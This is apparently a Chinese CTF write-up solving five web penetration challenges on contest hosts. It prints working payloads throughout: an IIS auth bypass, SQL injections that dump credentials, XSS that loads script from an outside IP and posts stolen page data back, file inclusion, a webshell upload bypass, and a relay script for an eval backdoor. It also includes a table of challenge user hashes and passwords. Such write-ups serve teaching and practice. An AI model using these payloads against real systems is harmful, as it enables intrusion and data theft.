PT100

首先题目提示在后台,顺手测试了一下admin目录,需要 HTTP Basic 认证。
hydra爆破无解,便想 Google 一下看看有没有 IIS 的 Auth Bypass。结果还真有 - -||
根据这篇文章的提示,bypass 的 payload 为:

http://gintama.sycsec.com/admin:$i30:$INDEX_ALLOCATION/index.php

进入之后是一个登陆,username处疑似注入,提交'出现 WTF,提交\'提示密码错误。可见是注入。
卡了好久,这里的 username 限制了四个字符,并且后端有截断。常规的 bypass 方法不起作用。
之后在 expdb 找到一篇 paper:False SQL Injection and Advanced Blind SQL Injection,这里有四个字符 bypass 的 payload:'=0#,提交后成功拿到 flag。

PT200

这道题会玩死人的T^T..
打开kali.sycsec.com后看了眼源代码,提示说name=xxx,那就是 XSS 题目咯。并且要求最新版的 Chrome 浏览器,要求就要求吧_(:3
各种尝试姿势无果,终于发现了 base 标签可以 bypass(12345是我第三方 JS 输出的)。

http://kali.sycsec.com/index.php?name=asaa%3Cbase%20href=http://www.hackersoul.com?javascript//%20%3E


不过提交后竟然没反应…事后才想起来,后台没有引入外链的 JavaScript…
之后官方提示有现成的方法可以用,最终用 link 标签搞定,payload 为:

http://kali.sycsec.com/index.php?name=asaa%3Clink%20rel=import%20href=http://103.224.80.59/2.php%20/%3E

得到 Cookie 后去后台提示 403,改了 XFF 后就被 fuck 了T^T..之后尝试获取页面源代码,其中我的 2.php 代码如下:

<?php
header("Access-Control-Allow-Origin: *");
if (@$_POST[a]) {
   echo $_POST[a];
   file_put_contents('1.txt', @$_POST[a]);
}
?>
<script src=http://lib.sinaapp.com/js/jquery/1.7.2/jquery.min.js></script>
<script>
$.ajax({url: "/ebcb6eb2004d1f4086ef87cdf5d678c3/flag.php?id=1 and 1=(SELECT multipoint((select*from(select*from(select thisisflag from flag limit 0,1)f)x)))", type:'GET', success: function(data){
$.post('http://103.224.80.59/2.php', {'a': data});
}});
</script>

由于浏览器的策略,我们需要指定Access-Control-Allow-Origin*。然后得到的 HTML 代码写入本地的 txt 中。
从 index.php 得到 flag.php?id=1,然后经过各种注入,最后的 payload 就是上面的代码。
有一点就是服务器上安装了不是安全狗的安全狗,正好前几天出了新的报错关键字,正好派上用场~最终 flag:

PT300

题目给了个 modx 的地址:modx.sycsec.com,其中 modx 在 PT400 的 idc 中 download 目录有下载。题目提示是代码审计,看到 PKAV 分分钟搞定心慌啊。
idc 上有三个版本,我选择了最新的版本审计,最后发现找错了,是 1.0.8。
打开题目中的地址,从 robots.txt 中发现了 /flag/flag.txt,第一反应是文件包含。在 expdb 上搜索 modx 的 LFI 无果,决定自己审计。
首先在本地搭建环境,find . -name "*.php" | xargs grep include找到含有 include 的文件。鬼使神差的从 index-ajax.php 开始跟(没想到跟对了)。

if($axhandler = (strtoupper($_SERVER['REQUEST_METHOD'])=='GET') ? $_GET['q'] : $_POST['q']) {
    $axhandler = preg_replace('/[^A-Za-z0-9_\-\.\/]/', '', $axhandler);
    $axhandler = realpath($axhandler) or die(); 
    $directory = realpath(MODX_BASE_PATH.DIRECTORY_SEPARATOR.'/assets/snippets'); 
    $axhandler = realpath($directory.str_replace($directory, '', $axhandler));
    if($axhandler && (strtolower(substr($axhandler,-4))=='.php')) {
        include_once($axhandler);
        exit;
    }
}

获取了用户输入的 q 参数,然后进行包含。阅读代码发现需要在 assets/snippets 目录下,再次目录下查找有包含的 php,发现/ajaxSearch/ajaxSearchPopup.php存在包含:

    $config = parseUserConfig((strip_tags($_POST['ucfg'])));
    // Load the custom functions of the custom configuration file if needed
    if ($config) {
        //echo $config;
        $lconfig = (substr($config, 0, 6) != "@FILE:") ? AS_PATH . "configs/$config.config.php" : $modx->config['base_path'] . trim(substr($config, 6, strlen($config)-6));
        //echo $lconfig;
        if (file_exists($lconfig)) include $lconfig;

如果 POST 了 ucfg,如果开头为@FILE:就包含用户提交的 ucfg。构造 payload:

q=assets/snippets/ajaxSearch/ajaxSearchPopup.php&as_version=1.9.2&ucfg=%26config%3D%60@FILE:flag%2fflag.txt%60&search=123

POST 到 index-ajax.php 得到 flag。

PT400

渗透一个 Wordpress 的博客。wpscan 扫了下没有插件主题,官方也说不是爆破口令。在页面尾部发现自豪的采用了 SYC SERVICE,打开后是http://idc.sycsec.com/。发现 page 疑似注入,bug 反馈疑似 XSS。第一天没搞定,第二天官方提示 SQLi -> XSS。这个神脑洞o~o...
page 注入通过把空格替换成 %0a 绕过,然后提交 payload:

http://idc.sycsec.com/?page=1%0aunion%0aselect%0a0x3c736372697074207372633d687474703a2f2f7873732e72652f353233323e3c2f7363726970743e

获得后台地址:

然后通过注入得到管理员的账号和密码:

http://idc.sycsec.com/?page=-1%0aunion%0aselect%0aconcat(UserPass,UserName,IsAdmin)from%0aadministrators123%0alimit%0a0,1%23

管理员的 md5 搜一下得到:rootadministrator123,登陆后跳到 upload.php。
这里的上传的图片有一个过滤,当图片包含<?的时候,对,你没有看错,有<?的时候,张全蛋(英文名Michael Jack,法文名Hélodie Jaqueline)就会出现。不过很容易的,PHP 也可以通过<script language=php>phpinfo();</script>来执行。直接上传一句话,%00 截断之后得到地址,菜刀连接就好,轻车熟路。

根目录下发现 Wordpress 的源码,目测这个源码留了后门。下载下来 diff 一下,果然:

数了数这是 6 个字符,那就是assert了,写了个脚本来爆破..

<?php
for($i = 0 ; $i < 256 ; $i++){
    $c = chr($i); // 0
    for($j = 0 ; $j < 256 ; $j++){
        $d = chr($j); // 1
        if (($c ^ $d) == 'a') { // 0^1
            for ($h = 0; $h<256; $h++) {
                $a = chr($h); // 2
                if (($d ^ $a) == 's') { // 1^2
                    for ($k = 0; $k<256; $k++) {
                        $b = chr($k); //5
                        if (($a ^ $b) == 'r') { //2^5
                            for ($l = 0; $l<256; $l ++) {
                                $e = chr($l); //6
                                if (($b ^ $e) == 't') { //5^6
                                    for ($m =0; $m<256;$m++) {
                                        $f = chr($m); //3
                                        if (($f ^ $e) == 's') { // 3^6
                                            for ($n=0;$n<256;$n++) {
                                                $g = chr($n); //4
                                                if (($f ^ $g) == 'e') { //3^4
                                                    echo "$c $d $a $f $g $b $e \n";
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        };
    }
}
?>

这个脚本真是醉了..不过跑出来就行。跑了一堆,随便选一个:Q0C6S1E
然后再写一个脚本中转:

import web
import requests
import urllib2

urls = (
    '/', 'hello'
)
app = web.application(urls, globals())

class hello:        
    def POST(self):
        print web.input()
        req = requests.post('http://blog.sycsec.com/fc0ea94c722b1fd7f9257f3087ac45d1/', 
             headers={'Cookie': 'wp-sesion=Q0C6S1E; wp-ssesion=eval($_POST[e])'},
             data={'e': web.input().e + ';die();', 'z0': web.input().z0, 'z1': web.input(z1='').z1,
             'z2': web.input(z2='').z2, 'z3': web.input(z3='').z3, 'z4': web.input(z4='').z4,
             'z5': web.input(z5='').z5})
        return req.content

if __name__ == "__main__":
    app.run()

运行后连接一句话,在数据库里找到 flag:

PT500

渗透题最爱。在 http://corp.sycsec.com/ 搜集各种信息。

Email: happy_net@163.com/SYC083
Domain: file.sycsec.com
Domain: report-man.sycsec.com

查找一下社工裤找到密码为:971989823,接着登陆进去。只有一个上传,我还以为能 getshell,后来发现想多了。
卡了一会脑洞一开,想起来文件名可以注入。试了试果然,写了个脚本跑出来所有的用户数据。脚本如下:

import requests
import re

match = re.compile('Duplicate entry \'(.*)\' for')
url = 'http://report-man.sycsec.com/report.php'
headers = {'Cookie': 'PHPSESSID=ce268dee3ff78b36fab83cfda67989ba'}
payload = "',(select 1 from  (select count(*),concat((select concat(id,0x20,number,0x20,password,0x20,name,0x20,email)from user limit NUM,1),floor(rand(0)*2))x from information_schema.tables group by x)a))#"
#payload = "',(select 1 from  (select count(*),concat((select concat(id,0x20,user_id,0x20,file)from report limit NUM,1),floor(rand(0)*2))x from information_schema.tables group by x)a))#"
#payload = "',(select 1 from  (select count(*),concat((select @@basedir),floor(rand(0)*2))x from information_schema.tables group by x)a))#"
#payload = "',(select 1 from  (select count(*),concat((select @@datadir),floor(rand(0)*2))x from information_schema.tables group by x)a))#"
#payload = '../var/www/html/1.txt'
i = 0
while True:
    a = requests.post(url, files={'file': (payload.replace('NUM', str(i)), 'aaa')}, headers=headers).content
    #a = requests.post(url, files={'file': (payload, 'aaa')}, headers=headers).content
    #print a
    #break
    #print a
    a = match.findall(a)
    if not a:
        break
    print a[0]
    i += 1

用户数据如下:

1 SYC083 ca4375859b93ee8c52301236d78cfe1e 小静 xiaojing@sycsec 971989823
84 SYC081 95fb25bb0cde4a3cec22393497af39a8 小夕 xiaoxi@sycsec. 19930221
85 SYC042 4e3a14e1fbb71c7dc9bb6e5e3a8ebf16 刘明 liuming@sycsec liuming123
86 SYC033 9c6aebdb1ff352eda04bd28bf4e4cc61 小芳 xiaofang@sycse qweasd123
87 SYC034 1f32aa4c9a1d2ea010adcf2348166a04 小李 xiaoli@sycsec. 12345
88 SYC035 43002e69daf4c85a2c3deb84d2a6e1c1 慕言 muyan@sycsec.c $$$123123
89 SYC036 9e72b823141127e60735094849b9d86d 刘得滑 liudehua@sy dadadadadadadad
90 SYC047 1f8c2d1faab905003bacac2827efa12f 小凡 xiaofan@sycsec qweasdzxc123
91 SYC052 772b0703cbae2c6ef0d5cf2a01b9b5aa 张德帅 zhangdeshua
92 SYC073 d8b5c7cecb531fd05d7765dd3afad43d 吴悠前 wuyouqian@s
93 SYC077 58a4f7ba90147a39fec86b1516284a29 黎明 liming@sycsec.
94 SYC078 58a4f7ba90147a39fec86b1516284a29 伊喜 yixi@sycsec.co
95 SYC079 894c925e9616baf4484f6fccbf9013c0 小美 xiaomei@sycsec 123123123

之后又卡住了..不过机会总会来的,想起以前做渗透的时候经常社工公司邮箱,而且这里的人的邮箱也是@sycsec.com的,所以顺手打了个 mail.sycsec.com,成功访问。经过撞库登陆成功 SYC081 和 SYC042 的账号。
在邮件里得到 VPN 的地址和密码组成。

通知:
公司VPN地址:vpn.sycsec.com
默认用户名:工号 (如:SYC001)
默认登录密码:工号 + 生日 (如:工号为SYC001,生日为19900101的用户,密码为:SYC001900101)

在 SYC081 得到提示小美的生日,爆破了一下出生年份,最后进入 VPN 系统。

接着利用 VPN 访问内网的file.sycsec.com,发现域名不能访问,改为 IP 即可。
这题的坑点在于,存在一个 .svn 目录让人遐想联翩,login.php 又让人登陆。不过我试了试都不行,然后爆破了下目录..发现存在 files 目录...
想到了爆破备份文件,没找到,又尝试了下用户名,依然 GG。最后没辙了爆破了下工号,发现是 403。

嗯,写脚本跑www

import requests

headers = {
    'Cookie': 'PHPSESSID=cfefaa8e1d72885a3de880a9c9c55337'
}

url = 'http://vpn.sycsec.com/curl.php'
url_2 = 'http://10.24.13.37/files/'

data = {
    'option': 'GET',
    'url': '',
    'cookie': '',
    'post': '',
}

for i in range(0,84):
    data['url'] = '%sSYC0%02d/' % (url_2, i)
    print 'Forbidden' in requests.post(url, headers=headers, data=data).content, i


最后在 SYC007 处得到 flag。

最后..打这个 CTF 都快打哭我了,两天没洗澡差点发霉.._(:3